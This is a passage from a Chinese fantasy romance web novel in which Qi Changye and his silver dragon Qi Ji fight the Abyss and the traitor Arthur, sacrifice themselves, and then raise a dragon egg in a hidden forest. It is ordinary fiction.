亚瑟选择了沉默，他知道自己无力反抗深渊，他也知道，在他见证过深渊的伟力之后，在那个人死后……他已经做出了自己的选择。 此后，他走遍新生的世界，抹去了属于旧地球时代的一切痕迹——也亲手抹去了关于那个人，还有他的银龙的一切记载，让他们的存在，再无迹可寻。 遗忘过去的世界，开始向前。进化者的力量，让大地迅速重建，城市再度拔地而起。 第一座城市，乌拉诺斯城诞生，由他一手建立的国度，后来，成为了上城之城。 再后来，已经不会老去的他戴上面具，成为从不以真容示人的第一席。 深渊短暂地沉寂，为了归来而积攒起了力量。从深渊内孕育出璀璨的晶石，引诱着进化者进入，汲取他们的生命。 亚瑟不再想起自己过往的名字，第一席成了深渊的伥鬼，建起了议事厅，建起了“灰烬”，以深渊赋予他的无所不能的力量，操纵着一切。 ——直到，某一天，“祈长夜”这个名字，再次出现在他身边。 冥冥之中，依然是熟悉的面庞，那个熟悉的人。 他忽然意识到，深渊，带来了轮回。 一切被推回了百年之前，深渊将再次重归大地，人类将再次面临血染的末日。 而这一次…… “你会怎么选择呢？” “队长。” 祈长夜睁开眼眸。 过往的记忆，如昨日重现。被深渊焚烧尽皮囊血肉的痛楚，依然清晰。 他说的第一句话，是—— “好久不见”。 “祈霁。” 这是久别之后，他和他的小龙，再次“重逢”。 已经恢复成年面貌的祈霁深深地凝望他的眉眼，上前一步，低头，抵上他的眉心。 千言万语，都在彼此的眼眸。 祈长夜握紧那只手，转向前方，目光掠过无边的深渊，一如当年。 他说：“末日将在今日终结。” 第五十三章 我向你保证 很久以后, 亚瑟才想起来，他从未询问过队长的过往。 从他们相遇起，队长就孑然一人, 并未提起过他的父母和其他家人。 重逢之后, 他高坐乌城, 目光始终投落在他的队长身上。 他知道队长的双亲被灰烬杀死, 幼年的他被送上试验台, 却一直无法在他身上研究出什么。 灰烬将他视为废弃的实验品，丢弃在狭窄无光的房间里渡过了十年的岁月。 失去了父母的宠爱，被曾经当成亲人的挚友背叛, 渡过惨淡的童年之后, 你又会怎么选择？ 恰好那时, 有人妄图动摇灰烬, 他觉得很有趣，默许了这一切，目睹灰烬倒台，他的小队长被丢入深渊。 活着坠落深渊，再次被剥皮挖骨, 最后，从深渊中走出的，会是一个恶鬼吗？ 然而, 令他有些意外的是, 薪火小队的出现, 带来了一个完全不同的走向。 那样微不足道的光芒，似乎也能够照亮队长的双眼。 笼罩在他身上十二年的阴霾, 居然如此不堪一提。 高居乌城的第一席感到了不悦，他看着他的队长从灰烬的阴影里走到光下, 那样的光芒，刺痛了他的眼睛。 既然如此，得到之后再次失去，会将他拖入泥潭吗？ 到那时，你还会和之前一样吗？ 薪火，一点无关紧要的火光，就这样被摁灭了。 令他欣喜的是，那一次，他的队长终于变成了一个恶鬼——洁白无瑕，高居云端的队长，终于被拽下凡尘，双手杀戮，沾满别人的鲜血。 如此惊艳，如此美丽。哪怕堕落，也能牵动整个世界为他瞩目。 有人要杀他，有人力保他，最终，他选择了流放自己。 光芒熄灭了，只剩下一点可怜的余灰，随着时间的推移，一点一点变得孱弱、直至消弭无声。 第一席感到了愉悦，他不需要再做什么了。“祈长夜”这个名字，已经不再属于他的队长。 纵然灵魂再度回归，曾经的队长，也泯然如凡人。 ——直到，那个名字，再次出现在乌城，再次回归他的耳边。 队长，和那条银白之龙，仿若命中注定一般，再次相遇。 即将熄灭的余灰，居然在银龙的庇护下再次缓缓燃起，迸发出星微的火光，最终——烈烈烧灼。 他的队长重归乌城那天，亚瑟感到了恐惧。 那一天，他从“祈长夜”的眼睛里，真正看到了他的队长。 哪怕经历过深渊，哪怕坠落过泥潭，灵魂依然没有磨灭，在短暂地晦暗之后，还能再次长明。 因为那条银龙？ 还是因为他本身，就是将要终结漫长黑夜的黎明？ 此刻，亚瑟隔着深渊，遥望他的队长，眼眸如被夜幕笼罩。 “末日不会终结，百年前队长你做不到，现在也一样。” 黑潮翻腾，拖出了一道身影。 那人踉跄倒在地上，抬起一张惊慌失措的脸庞。 “队长，送你一个礼物。” “一个背叛者，你有审判他的权力。” ——那是谢荇。 最后一次公开出现在众人眼前，还是在乌城的宴会上，众星捧月的第一席副官助理。 “说，你对他做过什么。” 亚瑟没有情绪的声音如同魔咒，谢荇猛地打了个哆嗦，不受控制般张开了嘴，吐出断断续续的话语：“我错了！我不该……不该在六岁的时候，故意调换你的血液……” “我听见他们说，上城谢家想要收养一个孩子，他们选中了你……所以，那时候，我偷偷调换了我们的血液样本，让他们把你的血液当成了我的，才收养了我……” “我也不是第三席的外甥，真正的人是你！当时我骗了你，从你手上要来了你的头发，送给他们去做了基因检测……” “在上城和你重逢之后，我也不该暗中向那些人出卖你的行踪，我明明知道他们想要暗杀你，却没有告诉你，还借着和你拉近关系的名义，泄露你的消息……” “芙洛城的刺杀事件，我也有参与，我故意帮你挡了那一枪，我知道谢家要对你出手，因为他们害怕你回到上城，害怕第三席发现你才是他的亲人，第十席也要你死！我想和你搞好关系，再……再找机会，把你卖给他们……” “我，我……” 像是被迫咽下了什么恶心的东西，谢荇越说越胃里痉挛，最后，他终于忍不住呕了出来，从口鼻里流出大片大片的黑水。 “看吧，队长。”亚瑟张开双手，“这样一个罪孽深重的人，不该得到最严厉的处罚吗？” 祈长夜的目光落过谢荇身上，眼眸如无风的湖面，没有丝毫波澜。 “你不过是一个棋子。” “我不会对你做什么，也不会再庇护你。” 从始至终，那些事情，都不是谢荇一个人能做到的。 他的背后一直有一只手，操纵着他，将他一步步推向深渊。 听出那句话真正的意思，谢荇脸上的血色一下子消失了。 马上就是末日，他已经被第一席丢弃，失去了所有庇护……现在的他，和一个死人又有什么区别？！ 他慌乱地环顾四望，想要寻求帮助，却发现没有任何人救得了自己。 曾经，唯一会对他伸出手的人，此刻正遥遥站在他的对面，目光冰冷。 不应该是这样的……不应该是这样的！ 谢荇捂住脸庞，指缝之间的瞳孔不停发颤。 明明最开始，最开始…… 最开始，他只是想…… 啪嗒。 啪嗒。 黑色的液体从谢荇身上渗出，像滚滚冒出的黑油，很快将他整个人都淹没。 然后，谢荇就“融化”在了黑油里，化为一滩烂泥般的怪物，趴附在深渊上，发出野兽般的嘶吼与哀嚎。 远处的要塞，目睹了这一幕的进化者们神情骤变。 深渊没有吞噬谢荇……而是将他变成了怪物！ 这算是活着，还是死了？！ “真可惜。” 亚瑟微微摇头，他多么希望，他的队长能对这只虫子施加审判，双手再次染上鲜血。 祈长夜锐利的目光穿透他的想法，静静地凝视他的眉眼，数秒后才开口：“你怎么会变成这样。” 他看着他的眼神，就像看着自己曾经的队友，只是，同样的皮囊下，灵魂却已然转变。 亚瑟笑了起来，似乎又回到了过往的岁月：“队长……” 祈霁一言不发地上前，牵住祈长夜的手。 亚瑟脸上，那点轻微浮起的笑意，被他抹灭了。 他的声音转入低沉：“愿意融入深渊的人，可以活下去。” 这句话，沉入深渊，传遍了整片大地。 所有驻守在深渊边缘的要塞，所有进化者，都清晰地听见了他的话语。 “去他大爷！” 芙洛城城墙之上，雅歌对着天空比了个中指。 从深渊中溢出的丝丝缕缕的黑气，已经完全连接了天空，就像一只只伸长的鬼爪，要将天幕拽下。 祈长夜记得这一幕，百年前的今天，深渊彻底失控，世界在最后的七日，走向无法挽回的覆灭。 时光的轮盘转过一圈，他再次面临了这场乱局。 “哥哥。” 祈霁站在他面前，金色的眼眸，沉淀出波澜不起的平静。 “这一次，哥哥会丢下我吗？” 祈长夜望见了那双眼睛深处的暗色。 他知道，他的小龙也和他一样，恢复了百年前的记忆。 曾经，仅仅是记忆的一角画面，就足以令祈霁愤怒到失去理智，而现在，银发金瞳的男人站在这里，眼眸深深地压下了所有情绪，凝成一句轻而低的询问。 也像是请求。 祈长夜想起了深渊之底的巨龙骸骨，如炽热的铁块烙烫在他的心上，泛起难言的痛楚。 百年前，他和他的银龙相遇，并肩走过漫长的路途。在那些生与死的间隙里，他看着宁可自己鲜血淋漓也要将他牢牢护住的祈霁，也曾想过，他们最终的结局。 那时的他，曾经给过祈霁一个承诺。 【等一切结束，我们——】 【哥哥说好的，不能反悔】 末日的第七天，世界已经彻底溃烂，无法挽回。祈霁想要带走他，远离所有的灾殃，抛下整个世界，为他造出一片单独的净地。 而他的选择—— 此刻，祈长夜微微侧首，凝望面前的黑潮。 “不会了。” 他一字一句地说。 “我向你保证，这一次，我们都会活下去。” 祈霁望着他的眼睛，那双乌黑的眼眸，倒映着深渊，却没有倒映出他的影子。 他再次上前一步，掌心捧住哥哥的脸庞，让那双眼眸，映照出了自己。 “好。”祈霁低声说，“这是哥哥答应过我的。” “被队长抛下的滋味不好受吧，”亚瑟似有嘲讽的声音，悠悠穿过深渊，“那时候，他可没有回头看你一眼。” 祈霁表情没有一丝波澜，转向亚瑟，微微挑起锋锐的眉头：“你谁。” 简单的两个字，却包含许多深意。 我们见过吗？ 百年之前，你在我的爱人身边出现过吗？ 不好意思，没有印象。 亚瑟：“……” 亚瑟：“你们今天都得死。” 第五十四章 黎明 黑潮之下, 大地疮痍。 深渊沸腾咆哮，掀起滔天巨浪，仿佛伏地的恶兽, 想要一跃而起, 咬住天空长幕。 雷霆震响, 云海翻腾, 庞大的银白巨龙穿梭在滚滚雷云之间, 威严凛然的灿金眼眸照亮长空。 一袭黑色风衣划开阴霾，万千雷光倒映在祈长夜冰冷锐利的眼眸之中，黑焰肆意烧灼, 焚烧深渊。 强横的力量相撞, 天地动荡, 不远处的城市要塞, 所有百米高墙，轰然坍塌。 早已撤出来的进化者们还没来得及停留片刻，就被无数呼啸而来的黑潮拖入了战局。 “哥哥。” 雷霆搅碎逼近的黑暗，祈霁低沉的声音在他耳边响起。 “小心。” 祈长夜的手抚上银龙鳞片，周身燃起的黑焰, 卷噬了逼近银龙尾部的黑潮。 “不用担心我，”他前半句的语气温柔，后半句只有凝练的两字, “向前。” 银龙再无所顾忌, 一声震彻大地的浩瀚长啸, 冲向无边的黑潮。 乌城。 “这是天谴！是神明的震怒！” 第二席站在乌城最高处，声音传遍下方乌泱泱的人群。 “祈长夜是最大的罪人, 是他诋毁深渊，对深渊不敬, 才给人类招来灭顶的灾难！” “他是灾殃！真正的灾殃！” 砰！ 一声枪响，第二席摇晃一下，在众人的惊呼中，缓缓坠落。 明蓝面无表情地放下火石枪，身后的克里斯一言不发地上前，将第二席倒下的身躯拖了出去。 明蓝一步踏上高台，俯瞰下方人群。 “诸位，第一席背叛人类，成了深渊的走狗。” “第十席和世间唯一的真龙正在最危险的前线，对抗深渊。” “此时此刻，正是人类存亡的关键之时！从现在开始，所有城市，所有能够行动的进化者正式集结，抵抗深渊！” 芙洛城。 天空被染成黑色，死海般的黑潮即将降下。 艾丽娅站在城墙之上，望着那支由雅歌率领的整装待发的队伍，所有的担心，汇成一句：“一定要平安啊！” 雅歌没有回头，只是微微抬手：“如果能活着回来，我一定给你放个长假。” “你先立个字据！”艾丽娅飞快地说，“有多长？” 雅歌伸出手指，比了个三。 艾丽娅：“三个月！” “三天。” “……快走吧你！” 深渊泛滥，从地下深处疯狂涌出，丝丝缕缕的黑色气息逐渐爬满整片天空，死神的阴影，笼罩在每一个人的头顶。 世界各地的进化者，都在为了自己的家园而战。 有人悍然赴死，有人临阵脱逃。一场席卷全世界的战斗，持续了整整七天。 第七日的阴霾之下，亚瑟仰起头颅。 银龙与黑衣横亘在深渊之上，宛若黑白交织的长剑，镇住天渊。 百年前，深渊彻底失控的第七天，世界已然濒临毁灭。 而现在，大地之上，依然遍地生机。 最为庞大、最为危险的黑潮之源依然停留在这里，没能向前蔓延。 第十席和他的银龙，以身为盾，将深渊之口堵住七日，一寸未进。 那一抹极致灿烈的黑白交织在亚瑟眼中，长久地凝固。 他忽然说：“队长。” 没有回应。 就像百年之前，末日的浪潮下，那道白色风衣的身影破开黑渊，独自向前。 不会为他回头。 亚瑟慢慢垂下头颅，张开双臂。 黑暗，覆没他的身体，将他缓缓拽入黑潮。 一抹血色在黑暗的表面漾开，随后，更加深沉的暗色涌上，如幽林深潭中，黑蛟抬首。 天空之中，祈长夜眼眸骤然凛冽。 黑暗瞬间占据了全部视野，数不清的，足以将所有大地撕裂、让整片天空破碎的死亡浪潮包围了四面八方，整个世界被一张难以想象的巨嘴一口吞没。 ——深渊，终于露出了狰狞面容。 真正的末日，直到此刻，才真正到来。 “救命！救——” “不要，我不想死！” “妈，对不起……” 无数的声音，无数的鲜血，溢出大地，被黑暗卷噬而去。 进化者的力量，在一刻居然如此渺小，深渊的汹涌狂潮下，连半时半刻都无法支撑，就像玻璃撞上高山，被轻易地碾碎了。 乌城。 明蓝站在黑潮最前方，面对倾颓而下的天幕，沉默地点了一根烟。 旁边鲜血淋身的宋星星伸手：“叔，借个火。” “……” 芙洛城。 精神力耗尽，雅歌长长地出了一口气，将最后一颗子弹推入枪膛，举枪瞄准前方。 真是抱歉。 她心想。 还是没能……多发挥点作用。 深渊之源，祈长夜轻轻按住心口，眸底映出无边的暗潮。 完全吞噬了世界的恐怖浪潮，足以令任何人肝胆俱裂，甚至失去逃跑的勇气，主动跳入深渊。 然而，那双墨色眼眸，依然倒映不出一丝绝望。 还有一个选择…… 百年前，他就已经知道的选择。 无数的惨叫就在他的耳边，数不清的生命正在流逝。他落下手指，掌心贴上那一抹美丽的银白。 银龙穿行暗渊，如同永远不会坠落的银月，是这抹世间唯一的光亮。 龙鳞之白，同样庇护着他的人类。 “哥哥，这个世界已经没救了。” 祈霁的声音，在风中听不出任何情绪。 “我想说的话，还是和百年前一样。” “我可以——” 忽然有黑焰燃起，缠绕银龙，却没有伤及鳞片半分，只是将它禁锢在原地。 银龙骤然抬首，听见清悦而低沉的声音：“抱歉。” “等我。” 下一秒，祈长夜毫不犹豫地跃下深渊，在万千晦暗中回眸，向他的银龙投去长长的一瞥。 全世界的风，在这一瞬间静止。 短短的一秒，漫长如一整个世纪，将银龙化为一尊仿若凝固了千万年的石像。 那双金色的龙瞳，就此定格。 ……果然。 他还是没有选择他。 他从来不会……选择他。 …… 飞鸟坠落深渊。 最先焚烧的，是指尖的皮肉。 完全失控的深渊，他的身躯再也无法抵抗，直接就被溶解。熟悉的痛楚，一如之前。 但，随之而来的是他的灵魂也沉入此地，而后，开始…… 将整个深渊缰住，拖入大地之下，随他一起下坠。 ——一如百年之前。 祈长夜的意识顷刻模糊，却又有一丝念头，无比清明。 抱歉，我还是…… 意识尚未消融间，忽然有一抹银芒穿透层层黑暗，绽放于他的整个视野。 祈长夜凝固的眼眸之中，白昼就这样降临于他面前。 一双手臂轻柔地托住他的脊背，如托起坠落的飞鸟。银发金瞳的男人沉入深渊，双手拥住他，轻轻抵住他的额头。 “哥哥，不疼了。” ……在黑暗中跋涉已久的旅人，没有归所，不会停下，却也会感到疲惫。 二十几年，几十年，一百年。 终于有一天，从茫茫长夜中走出，抬眼，望见霁色初明。 覆没世界的汹涌黑潮，忽然停滞。 下一秒，庞大到任何人的双眼都难以窥见全貌的银白巨龙，自黑潮之下，横掠而出。 比高山还要威严，比天空还要浩渺——那是银白帝龙巅峰的完全体态，真正遮天蔽日，凌驾于深渊之上。 世间唯一一条真龙，时隔百年，再次展现的完全体态。 半空之中，急风流转，将年轻的人类带出深渊。 没有一丝一毫喜悦，祈长夜如坠冰窟，仿佛心脏仿佛被利刃贯穿。 这一幕何等熟悉，只不过是调换了立场。 他倾尽全力，向银龙伸手—— “哥哥。” 祈霁的声音那样遥远，却又被微风清晰地带到他的耳畔，像一片落下的花瓣。 “不要难过。” “等我。” 然后，银龙头也不回，投入深渊，化为一抹消弭的银白，一瞬间燃起炽烈的白昼，照亮整个世界。 …… 百年前，银白巨龙在深渊边缘痛苦地悲泣，沉没深渊，化为一具骸骨，永庇爱人魂灵。 百年后，一个年轻的人类踏足深渊，捡到了一颗黑漆漆的龙蛋，转身，走向陆地。 长夜至此，转入黎明。 第五十五章 龙蛋 林间的鸟鸣清脆, 有微风拂面，轻柔地贴上他的脸庞。 青葱浓郁的山林间，一道黑衣身影静立, 眼眸似被不见天光的寒夜笼罩。 温暖的阳光透过林间间隙洒落身上, 祈长夜的心却仿佛永坠幽冥冰川。 最后的时刻……他没能抓住祈霁。 那一抹极其炽烈的白昼烧灼他的双眼, 他拼尽全力想要向前, 身体却仿佛被某种不可违逆的力量牵引, 不受控制地后退——再然后，他就出现在了这里。 之前所发生的一切，恍惚如同梦境, 他却知道, 那就是现实。 血淋淋的现实, 如利刃刮剐他的身躯, 疼痛钻心。 祈长夜无言地俯身，苍白手指攥紧胸前衣服，指尖几乎要透过薄薄衣料，刺入肉里。 微风卷过他的身侧，似乎有轻柔的力量, 推动着他往前。 他慢慢抬起毫无血色的脸庞，木然地向前走了几步，忽然觉得眼前的一切似曾相识, 加快脚步。 越来越多的林叶闯入视野, 他仿佛从幽深冰潭中拼命上游的游鱼, 穿过刺骨冰层，忽然窥到了一线天光。 ——这里是百年前, 他和他的小龙初见之地。 真龙居所，不被深渊所腐蚀的山林。 百年前, 祈霁和他离开之后，山林就隐于雾气之间，再也不存在于现世。 现在，他又被某种力量，送到了这里。 祈长夜的心如被看不见的手攥住，高高提起，几乎要破开胸膛。 扑通，扑通。 心脏的跳动声如此明晰，仿若指引，指引着他穿过层林，拨开林荫，站在一片光下。 圆日悬挂山间，靠着山壁的一个小坑里，几枚叶子，搭成简陋的小窝。 一颗黑漆漆的、圆润的蛋窝在那几片叶子上，静静地趴着。 祈长夜停下了脚步。 风声与心跳，皆在此刻寂静。 晒着太阳的龙蛋听见什么声音，咕噜噜转了半圈。 林叶间，日光下，一个它从未见过的年轻人类，肤白如雪，眼尾微红，漂亮得如同雪水浸透的琉璃。 龙蛋似乎呆了几秒，从窝里蹦跶出来，咕噜噜滚向了那边。 它还没靠近那个漂亮的人类，就见对方几步上前，奔向了它。 一双好看而冰冷的手将它托了起来，小心翼翼的力度，不知为什么，指间微微发抖。 龙蛋却没有在意这些，愉快地在掌心里打了个滚，十指立刻收拢，似乎生怕它摔下去。 祈长夜怔怔地望着这颗龙蛋，相比于深渊时只有巴掌大小的幼小龙蛋，现在这颗蛋要大上好几圈，几乎等同于成年人的手掌，他一只手都抱不住，只能用双手捧着。 圆润而光滑的漆黑表面，流光溢彩，在日光下随着角度变幻，美丽得难以言喻。 健康的，完整的龙蛋。 他的小龙。 身后似有异动，祈长夜以为那是危险，下意识将龙蛋护在怀里，漠然回首—— 一道漆黑的裂缝，张开在他身后，幽深的内部，似乎有特殊的力量涌动。 某种直觉泛上心头，祈长夜忽然明悟，那道裂缝之后连接着另外一个空间，支撑裂缝的力量，和将他送到此地的力量同源。 裂缝似乎很快就会关闭，他却定在了原地。 此时此刻，这片真龙隐居的山林，到底是什么时间线？ 是他所在的时间线之后，还是……百年，甚至数百年之前？ 他缓缓低头，怀中这颗龙蛋，是更久远以前、刚刚诞生的祈霁，还是不久前，投入深渊的祈霁再度转生？ 如果离开的话，他还能再见到他的小龙吗？ 山林静默，龙蛋似乎有些不能理解他的眼神，看看他，又看看那道裂缝。 这一刻，还没破壳的小龙似乎明白，这个漂亮的人类，原来只是不小心才来到了这里。 他不属于这里，也不属于它。 刚才还一直昂立起来的龙蛋慢慢趴了下去，蹦跶一下，跳出祈长夜手掌。 它默默地滚回那几片叶子搭成的小窝，转身，背对着祈长夜，露出一个安静的圆滚滚的背影。 你走吧。 反正，反正我一个人也可以。 原本闪亮亮的龙蛋好像失去了光彩，蔫蔫地缩着。 祈长夜眼眸一颤。 急风吹起几片叶子，那道身影停在它的身边。 龙蛋一点一点转过来，昂起脑壳。 祈长夜俯身，龙蛋跳进了他的怀里。 他抱住这颗圆滚滚的幼蛋，再回头，那道深黑的缝隙，已然消失不见。 他被留在了这里。 祈长夜并不失落，手指轻柔，一下一下抚摸龙蛋圆润的脑壳。 龙蛋欢快地蹭他，明明只是第一次见面，却紧紧地黏住了这个人。 蹭蹭这里，蹭蹭那里。 祈长夜眼睫柔和，溺入细碎的光影。 充满生机的，活泼的小龙。 无论哪个时间线，都是他唯一的祈霁。 他抱着龙蛋，静静坐下，任由山林的微风拂过发丝。 山壁缝隙间，那几片稀疏的落叶叠在一起，似乎就是还没破壳的小龙给自己挑选的小窝。 但现在，它有了更舒服温暖的窝。 龙蛋不停在祈长夜身上蹭来蹭去，拱来拱去，像只好奇的小兽，活跃地巡视自己的新领地。 祈长夜的手托住龙蛋底部，低声说：“你还记得我吗？” 龙蛋昂起圆鼓鼓的脑壳，好像有点困惑。 “没关系。” 深渊已经结束。 他和他的小龙，都还有很多时间。 祈长夜微微低头，脸上贴上龙蛋，嗅到了阳光和林叶的气息。 龙蛋停顿了一秒。 暖烘烘的，一声不吭，开始发烫。 变成了一颗暖暖的蛋。 滴答，滴答。 林间吹来一阵风，微凉的水滴，毫无征兆地落下。 下雨了。 祈长夜仰望被乌云遮住的天空，感觉掌心里的龙蛋拱了拱他，跳了出去。 他一低头，龙蛋脑壳顶着一小片垂下来的叶子，缩在山壁的缝隙里。 旁边还有一片更大的叶子，似乎是留给他的。 原来，是只不喜欢淋雨的小龙。 他不在的时候，这只小龙就这样，孤零零地缩起来躲雨吗？ 祈长夜伸手，掌心贴过去，顶着一片小叶子的龙蛋毫不犹豫就滚了出来，跳回他的手里。 他将小小的龙蛋再次抱起，用自己的衣服裹住，转身，向林叶更密集的山林间走去。 衣服里，某只小小的幼崽又开始拱来拱去，从祈长夜领口间露出一点脑壳。 这个人的体温包裹着它，从脑壳到底壳，到处都是暖乎乎的。 还没破壳的小龙不喜欢潮湿冰冷的地方，但它喜欢这个人的怀抱。 有几滴雨飘到它的蛋壳上，龙蛋飞快往衣服里缩了缩。 一只手挡在它的上方，温柔地为它擦去雨滴。 龙蛋又悄咪咪地从衣服里钻出来，昂起脑壳，看着那双为它低垂的眉眼。 林间微光，雨水湿润，那双乌黑眼眸，像氤氲融化的雨后山水。 龙蛋忽然蹦跶一下。 蹦跶到了祈长夜肩上。 又蹦跶一下，跳到他的脑壳上。 小小的幼蛋昂头挺胸，支愣起来，给它的人类挡雨。 祈长夜的眼眸染上轻微的暖意，双手抱下龙蛋，快步来到一片浓郁的林荫之下。 高大茂密的林冠挡住稀疏的雨滴，浅浅的雨水在山间积成浅洼，大大小小的镜面，倒映出那道依偎在一起的身影。 一人一龙静静地坐着，等待雨停。 雨点打在林叶间，轻铃般清脆，是祈长夜许久没有听到的声音。 这是他和祈霁少有的，独属于他们彼此的闲暇。 无论是百年前的初遇，还是百年后的重逢，他们总是脚步匆匆，被深渊裹挟着推向前方。 当一缕天光破开云层，林间拂过凉爽的微风，祈长夜从怀里抱出他的小龙。 龙蛋一动不动，软软地趴着。 睡着了。 还没破壳的小龙，在广袤的山林间有了独属于它的小窝，无忧无虑，什么也不用担心。 祈长夜起身，和他的小龙一起，向林间深处走去。 林叶摇曳，云卷云舒，晚霞晕染天空，星辰点缀弯月。 夜晚的山林时有鸟鸣，祈长夜的膝上，龙蛋动了动。 它睡了一个非常舒服的觉，慢吞吞滚了一圈，惬意地趴在祈长夜腿上，忽然被什么吸引了注意。 篝火在林间升起，照亮了周围的夜色，也照亮了不远处，一座用林叶和树枝搭起的小屋。 龙蛋似乎不太能理解那个超大的窝，脑袋凑过去看看。 祈长夜抱起好奇的小龙，沿着搭好的林屋逛了一圈。 等一圈转过，好奇小龙已经变成了开心的小龙，不停地在祈长夜身上拱拱。 祈长夜回到篝火边，翻转了一下架在上面的烤鱼。 木棍穿过一条肥鱼，被火烤得流油，散发出焦香。 没见过什么世面的龙蛋呆呆的。 有点馋。 祈长夜拿着烤好的鱼，在龙蛋面前晃晃。 龙蛋微微凑近，再凑近。 和外焦里嫩的鱼大眼瞪小眼。 吃不了，只能干瞪眼。 祈长夜收回手，咬了一口鱼。 龙蛋：“……” 什么也吃不着的小龙气呼呼地原地转圈圈，变成了旋转的小陀螺。 祈长夜失笑，捧起龙蛋，在它的头顶，落下一个轻柔的吻。 龙蛋：“……” 幼小龙蛋又呆住了。 黑漆漆的蛋壳表面，忽然泛起一点粉红。 变成一颗粉黑粉黑的蛋。 烫烫的，钻进了祈长夜衣服里。 过了几秒，又悄咪咪冒出来，偷瞄祈长夜。 祈长夜对它笑了笑。 “！” 龙蛋变得更粉了。 又悄咪咪缩进衣服里了。 第五十六章 叭叭叭 一口泥土做成的、略有些简陋的锅架在篝火上, 咕嘟咕嘟烧开热水。 祈长夜把锅搬下来，放凉一会，试了试水温, 将龙蛋抱了进去。 扑通。 黑漆漆的龙蛋汤, 蛋在温暖的水里游泳, 一会脑壳朝下, 一会底部朝上。 祈长夜：“要是烫的话, 就转两圈。” 龙蛋咕噜噜转了三圈，咕噜噜沉进锅底。 哗一下冒出来，溅起水花。 呜啦！ 祈长夜按住龙蛋, 搓搓搓。 龙蛋乖乖地一动不动, 任由那双好看的手指摸过自己全身。 不知道是不是因为水温, 蛋壳烫烫的。 很快, 山间的泥土和碎叶都被洗干净，出锅的龙蛋变成了一颗光洁崭新的漂亮蛋。 出生之后第一次洗了热水澡的小龙，非常舒服的样子，软软地趴在祈长夜怀里。 林间的夜风微凉，祈长夜走进林屋, 掩上木头做成的门。 用叶子搭成的简陋床上，一颗龙蛋兴致高昂滚来滚去，蹦跶到角落里, 给自己挑了一片漂亮的小叶子, 顶在脑壳上。 祈长夜静静地看着这一幕。 喜欢收集亮晶晶, 喜欢漂亮东西的小龙，还没破壳的时候, 也会自己捡点叶子作为装饰。 只是一点碎叶子，就能让小龙高兴, 这样天性的祈霁，在后来，却因为他—— 他转过脸庞，走了出去。 床上的龙蛋一下子昂起脑壳，一动不动地望着外面，就连头上的叶子掉了都好像不知道。 一秒，两秒。 那个人没有回来。 龙蛋毫不犹豫地跳下床，飞快地骨碌碌向外滚去。 ——还没滚出一米，就被一只手接住了。 祈长夜抱起龙蛋，看着黑漆漆的蛋壳，好像莫名读出了一点委屈的情绪。 “别怕，”他说，“我是想给你这个。” 他摘下一朵屋外的小花，放到龙蛋脑壳。 那是一朵漂亮的雪白小花，像落下的一小片雪。 顿时，龙蛋被抛下的一点小委屈烟消云散，转转脑壳，顶着小花，滴溜溜地旋转。 下一秒，蛋壳光溜溜的表面，也开出一朵小花。 像画在蛋壳上的小小花纹，冲祈长夜微微摇曳。 祈长夜眼眸微动。 他记得，深渊里，他第一次捡到祈霁，还没巴掌大的幼蛋就喜欢冲他开花。 原来，是这样学会的吗？ 龙蛋好像也觉得自己掌握了一个新奇的技能，得意洋洋地昂着脑壳，不停给祈长夜冒花花。 祈长夜摸摸圆滚滚的龙蛋，将它轻轻放在枕边，说：“睡吧，早睡早起，才能快点长大。” 龙蛋听懂了这句话，乖乖地转了一圈，啪叽躺下。 祈长夜静静注视这颗幼小的蛋，直至星光隐入云层之间。 林间的晨光，伴随鸟鸣而起。 他睁开眼睛，对上胸口的龙蛋。 “早。” 昨天还活蹦乱跳的龙蛋，今天一早不知为什么安静了不少，一动不动地趴在他胸口，悄咪咪看他。 祈长夜抬手，龙蛋飞快钻进他的衣服里，藏起来，过了几秒，再悄咪咪探出脑壳。 他坐起身，将龙蛋捧了出来。 “我不会走的，”知道这只还没破壳的小龙在想什么，祈长夜的声音温和，“我会一直在这里。” 龙蛋一下子昂起脑壳，顿时又充满活力，欢快在他身上滚来滚去。 林屋下游，有条清澈的小溪，时有游鱼出没。 今天的早餐，是一锅鱼汤。 乳白的鱼汤咕嘟咕嘟冒着泡泡，龙蛋呆呆地蹲在旁边。 有点馋。 凑近一点。 ……喝不了。 ……委屈。 祈长夜一不留神，就见龙蛋拱了个坑，郁闷地把自己埋进去了。 “……” 他失笑地把这颗蛋提溜出来，抖一抖身上的土，说：“等你破壳，我天天给你做。” 龙蛋看着他，脑壳昂起，冒出一朵开心的小花。 广袤的山林与外界隔绝，这里有很多生物，却只有祈长夜唯一一个人类。 他很快适应了山林间的生活，陪伴在还没破壳的小龙身边，静静等待祈霁长大。 有时候，龙蛋会一直黏着他，精力充沛地围着他转圈圈，像只活泼又占有欲十足的幼崽，要他把目光都放在自己身上。 更多时候，龙蛋窝在他怀里睡觉，他就抱着乖乖的龙蛋在山林里穿行，用脚丈量这片似乎永无尽头的龙隐之地。 等到怀里仿佛被一只小兽拱来拱去，蹭蹭脖子蹭蹭胸口，他就知道，小龙起床了。 时间在流逝，日子一天天过去，不可计数。 祈长夜逐渐意识到，这片山林，的确是片特殊的空间。 他的时间在这里是停止的，容貌不会变化，就连发丝都不会长长一寸——同样的，他不会饥饿，也很少疲惫。 和他相反，龙蛋在一点点长大，从最开始只有手掌大小的幼蛋，逐渐长成了一颗手臂长度的小龙蛋。 山川河流，林叶万物，唯一变化的，只有这条小龙。 祈长夜猜测，这里是世界的法则为唯一一条真龙而创造的隐秘之地，又或者，这里的诞生正是因为祈霁，由他的力量所自发构建之地。 ——难怪百年前，祈霁和他离开后，这片山林就不再存在于现世，祈霁更没有留念过自己的出生之地。 因为，如果一直留在这里，永远都只有他孤零零的一条龙，时间毫无意义，就算永生，也只是漫长的牢狱。 所以，银龙随着他的人类，前往了真正的人间。 ……只是可惜，那个人间，也很快就沦为了炼狱。 枝叶缠成的花环，戴在龙蛋圆滚滚的脑壳上。 龙蛋转转脑壳，得意洋洋地挺直。 喜欢！ 祈长夜用手丈量了一下它的脑壳。 大概二十多厘米高的龙蛋，已经不再长大了。不过，还是比深渊初见时的小小龙蛋，大了不知道多少倍。 最近几天，龙蛋都安安静静的，不怎么蹦跶，只是紧紧依偎着他。 祈长夜不知道他已经陪伴了祈霁多长的时间，但他知道，这只小龙，终于要破壳了。 第一次出生的小龙大概是有点紧张，一点都不想离开祈长夜半米远，于是，祈长夜一直抱着它，时不时摸摸它的脑壳，是无声的安抚，也是承诺。 这一次，他就在这里，哪也不去。 龙蛋靠着它的人类的手臂，黑漆漆的蛋壳表面，开出一朵有点耷拉的小花，试探着摇一摇。 